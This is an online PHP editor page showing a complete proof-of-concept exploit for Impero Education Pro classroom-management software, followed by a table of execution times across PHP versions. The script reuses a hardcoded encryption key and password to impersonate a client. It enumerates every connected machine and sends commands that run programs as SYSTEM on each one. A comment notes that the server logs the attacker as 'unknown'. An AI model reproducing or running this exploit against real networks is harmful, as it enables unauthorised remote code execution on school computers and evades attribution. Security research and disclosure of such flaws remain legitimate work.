Online PHP editor | perf for f2jt8

<?php // Impero Education Pro SYSTEM-RCE PoC // by slipstream/RoL^LHQ // greets to everyone in lizardhq! :) function PadString($str) { $size = 16; $pad = $size - (strlen($str) % $size); $padstr = ''; for ($i = 1; $i < $pad; $i++) $padstr .= chr(mt_rand(0,255)); return $str.$padstr.chr($pad); } function UnPadString($str) { return substr($str,0,-(ord(substr($str,-1)))); } function CryptString($str) { $hash = hash('sha512','Imp3ro',true); $key = substr($hash,0,0x20); $iv = substr($hash,0x20,0x10); $crypted = mcrypt_encrypt(MCRYPT_RIJNDAEL_128,$key,PadString($str),'cbc',$iv); return $crypted; } function DecryptString($str) { $hash = hash('sha512','Imp3ro',true); $key = substr($hash,0,0x20); $iv = substr($hash,0x20,0x10); return UnPadString(mcrypt_decrypt(MCRYPT_RIJNDAEL_128,$key,$str,'cbc',$iv)); } function SendNetwork($h,$str) { global $socketid; $crypted = CryptString($socketid."|".$str); socket_write($h,strlen($crypted).'|'.$crypted); return; } function RecvNetwork($h) { $len = ''; $chr = ''; do { $len .= $chr; $chr = socket_read($h,1); } while ($chr != '|'); $len = (int)($len); if ($len < 1) die("Something's wrong. Length isn't an int."); socket_set_block($h); $crypted = socket_read($h,$len); $dec = DecryptString($crypted); global $socketid; $dec = explode('|',$dec,2); if ($socketid == -1) $socketid = $dec[0]; return $dec[1]; } function Connect($host,$port = 30015) { echo "Connecting..."; $h = socket_create(AF_INET,SOCK_STREAM,SOL_TCP); socket_set_block($h); if ((!$h) || (!socket_connect($h,$host,$port))) { echo "failed.\n"; return false; } echo "done!\nAuthenticating..."; // authenticate SendNetwork($h,"AUTHENTICATE\x02PASSWORD"); echo "done!\nWaiting for response..."; // we should get "AUTH:OK" back $data = RecvNetwork($h); if ($data != "AUTH:OK") { echo "authentication failed.\n"; return false; } echo "authentication succeeded!\nNegotiating..."; SendNetwork($h,"PING1\x02IE11WIN7\x03\x035003\x019f579e0f20cb18c8bc1ee4f2dc5d9aeb\x01c0d3fd41a05add5e6d7c8b64924bef86\x018dc3a6ceec8a51e1fd2e7e688db44417\x01d1554e349fc677e6011309683ac1b85b\x012b94f70093e484b8fc7f62a4670377ea"); // we get sent 4 loads of packets. discard all. for ($i = 0; $i < 4; $i++) { RecvNetwork($h); usleep(500000); } //SendNetwork($h,"-1|ANNOUNCE\x01600\x012\x01-1\x02IE11WIN7\x03IEUser\x03\x031\x03\x030\x031\x036\x0308:00:27:85:C5:CD,08:00:27:D0:C2:E1\x0310.0.2.15,192.168.56.101\x035003\x032015-06-11 12:17:19\x0310.0.2.255,192.168.56.255\x03None,Everyone,Users,INTERACTIVE,CONSOLE LOGON,Authenticated Users,This Organization,Local account,LOCAL,NTLM Authentication\x035003\x032.0.50727.5485\x03IE11WIN7\x03NODOMAIN"); echo "done!\n"; return $h; } function GetAllClients($h) { $pline = "SENDCLIENTS\x01604\x011\x010\x02"; echo "Getting all clients..."; SendNetwork($h,$pline); $data = RecvNetwork($h); // grab the base64 blob $data = array_pop(explode("\x02",$data)); // unbase64 and uncompress $data = gzdecode(base64_decode($data)); $ret = array(); foreach (explode("\r\n",$data) as $line) { // we only care about clientIDs $ret[] = array_shift(explode("\x03",$line)); } echo "done!\n"; return $ret; } function RunCmd($h,$ids,$cmdline) { global $socketid; $ids = implode(',',$ids); $pline = "ECHO\x01\x01".$ids."\x01SENDCOMMANDMSG\x010\x02\x01\x01".$cmdline; echo "Sending evil RunCMD data..."; SendNetwork($h,$pline); echo "done!\n"; // if this was a real proper negoiated client we'd get something back // however, we aren't, and we're masquerading as client #0; thus, we don't. // this does show up in logs, with the executed command. however, the server doesn't know who ran it, so it shows up as "unknown". :) } function RunExeAsSystem($h,$ids,$exe) { global $socketid; $ids = implode(',',$ids); $pline = "ECHO\x01\x01".$ids."\x01OPENFILE\x010\x02".$exe."\x08\x08NT AUTHORITY\SYSTEM\x08Password"; echo "Sending evil RunEXE data..."; SendNetwork($h,$pline); echo "done!\n"; // we don't get a response from this one } function FindImperoServer($if,$addr) { $sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP); socket_set_option($sock, SOL_SOCKET, SO_BROADCAST, 1); socket_set_option($sock,SOL_SOCKET,IP_MULTICAST_IF,$if); $str = "ARE_YOU_IMPERO_SERVER"; socket_sendto($sock, $str, strlen($str), MSG_DONTROUTE, $addr, 30016); socket_set_option($sock,SOL_SOCKET,SO_RCVTIMEO,array("sec"=>6,"usec"=>0)); $r = socket_recvfrom($sock, $buf, 18, 0, $remote_ip, $remote_port); if ($buf == "I_AM_IMPERO_SERVER") return $remote_ip; return false; } $socketid = -1; echo "[*] Impero Education Pro SYSTEM-RCE PoC by slipstream/RoL^LHQ\n"; if ($argc < 2) { echo "[-] Usage: ".$argv[0]." <serverIPs space-delimited>\n"; echo "[*] If you pass \"detect <if> <broadcastmask>\" (without quotes) as serverIP then we will try to find an impero server, using interface and broadcast mask given.\n"; echo "[*] Example of this: ".$argv[0]." detect vboxnet0 192.168.56.255\n"; echo "[*] This PoC will pop a calc and run whoami > C:\lol.txt as SYSTEM on *every connected client*!\n"; die(); } array_shift($argv); foreach ($argv as $key=>$arg) { $detected = false; if ($arg == "detect") { if ($key + 2 >= count($argv)) continue; echo "[*] Finding Impero server...\n"; $arg = FindImperoServer($argv[$key+1],$argv[$key+2]); if ($arg == false) die("[-] Cannot find Impero server\n"); echo "[+] Found Impero server at ".$arg."\n"; $detected = true; } $h = Connect($arg); if ($h === false) continue; $clients = GetAllClients($h); RunExeAsSystem($h,$clients,"calc"); RunCmd($h,$clients,"whoami > C:\lol.txt"); echo "\n"; if ($detected) die(); }

Version	System time (s)	User time (s)	Memory (MiB)
7.1.7	0.000	0.008	16.84
7.1.6	0.018	0.007	19.59
7.1.5	0.006	0.006	16.89
7.1.0	0.003	0.077	22.41
7.0.20	0.000	0.007	16.47
7.0.10	0.023	0.063	20.15
7.0.9	0.027	0.053	20.00
7.0.8	0.027	0.060	20.04
7.0.7	0.020	0.073	19.97
7.0.6	0.003	0.087	20.13
7.0.5	0.027	0.077	20.46
7.0.4	0.003	0.077	20.04
7.0.3	0.013	0.077	20.04
7.0.2	0.007	0.077	20.00
7.0.1	0.010	0.077	20.04
7.0.0	0.007	0.053	20.10
5.6.28	0.007	0.070	21.20
5.6.25	0.013	0.077	20.71
5.6.24	0.010	0.087	20.57
5.6.23	0.017	0.077	20.65
5.6.22	0.010	0.060	20.73
5.6.21	0.003	0.053	20.81
5.6.20	0.010	0.077	21.02
5.6.19	0.007	0.077	21.16
5.6.18	0.010	0.057	21.02
5.6.17	0.010	0.080	21.09
5.6.16	0.013	0.077	21.10
5.6.15	0.020	0.070	21.16
5.6.14	0.013	0.080	21.19
5.6.13	0.010	0.067	21.16
5.6.12	0.003	0.053	21.08
5.6.11	0.007	0.057	21.13
5.6.10	0.003	0.043	21.07
5.6.9	0.003	0.047	21.12
5.6.8	0.010	0.067	20.45
5.6.7	0.010	0.073	20.50
5.6.6	0.007	0.040	20.44
5.6.5	0.007	0.083	20.49
5.6.4	0.007	0.067	20.55
5.6.3	0.000	0.083	20.36
5.6.2	0.007	0.080	20.43
5.6.1	0.017	0.057	20.43
5.6.0	0.010	0.080	20.46
5.5.38	0.007	0.043	20.50
5.5.37	0.003	0.043	20.47
5.5.36	0.010	0.087	20.39
5.5.35	0.007	0.080	20.50
5.5.34	0.010	0.073	20.93
5.5.33	0.007	0.083	20.86
5.5.32	0.017	0.063	20.88
5.5.31	0.007	0.050	20.83
5.5.30	0.017	0.067	20.99
5.5.29	0.010	0.083	20.85
5.5.28	0.010	0.067	20.96
5.5.27	0.003	0.043	20.69
5.5.26	0.003	0.067	20.88
5.5.25	0.003	0.073	20.78
5.5.24	0.003	0.087	20.27
5.5.23	0.000	0.050	20.31
5.5.22	0.010	0.077	20.17
5.5.21	0.007	0.077	20.26
5.5.20	0.007	0.067	20.24
5.5.19	0.003	0.077	20.18
5.5.18	0.007	0.077	20.14
5.5.16	0.010	0.060	20.33
5.5.15	0.010	0.070	20.20
5.5.14	0.010	0.070	20.16
5.5.13	0.007	0.070	20.14
5.5.12	0.000	0.053	20.18
5.5.11	0.007	0.057	20.23
5.5.10	0.000	0.083	20.14
5.5.9	0.007	0.070	20.10
5.5.8	0.007	0.070	20.21
5.5.7	0.013	0.067	20.03
5.5.6	0.010	0.063	20.20
5.5.5	0.000	0.043	20.18
5.5.4	0.007	0.070	20.20
5.5.3	0.000	0.043	20.13
5.5.2	0.013	0.047	20.11
5.5.1	0.007	0.043	20.18
5.5.0	0.007	0.070	20.10
5.4.45	0.010	0.073	19.28
5.4.44	0.010	0.077	19.23
5.4.43	0.007	0.070	19.50
5.4.42	0.000	0.043	19.20
5.4.41	0.007	0.037	19.34
5.4.40	0.007	0.070	19.18
5.4.39	0.007	0.060	19.23
5.4.38	0.010	0.063	18.85
5.4.37	0.010	0.053	18.91
5.4.36	0.020	0.063	19.06
5.4.35	0.010	0.057	19.25
5.4.34	0.013	0.073	19.24
5.4.32	0.007	0.057	19.03
5.4.31	0.003	0.050	19.16
5.4.30	0.003	0.040	18.89
5.4.29	0.007	0.040	19.18
5.4.28	0.010	0.073	19.13
5.4.27	0.007	0.060	19.16
5.4.26	0.007	0.070	19.23
5.4.25	0.010	0.040	19.24
5.4.24	0.017	0.070	19.13
5.4.23	0.007	0.080	19.04
5.4.22	0.003	0.043	18.84
5.4.21	0.013	0.067	19.13
5.4.20	0.007	0.070	18.89
5.4.19	0.003	0.053	19.09
5.4.18	0.013	0.070	18.87
5.4.17	0.000	0.043	18.89
5.4.16	0.003	0.080	19.16
5.4.15	0.010	0.030	18.98
5.4.14	0.013	0.057	16.50
5.4.13	0.017	0.023	16.42
5.4.12	0.013	0.060	16.47
5.4.11	0.000	0.077	16.42
5.4.10	0.003	0.043	16.39
5.4.9	0.017	0.047	16.33
5.4.8	0.003	0.060	16.43
5.4.7	0.007	0.047	16.57
5.4.6	0.010	0.067	16.30
5.4.5	0.007	0.030	16.39
5.4.4	0.003	0.073	16.52
5.4.3	0.003	0.033	16.47
5.4.2	0.003	0.077	16.35
5.4.1	0.003	0.040	16.37
5.4.0	0.003	0.073	15.84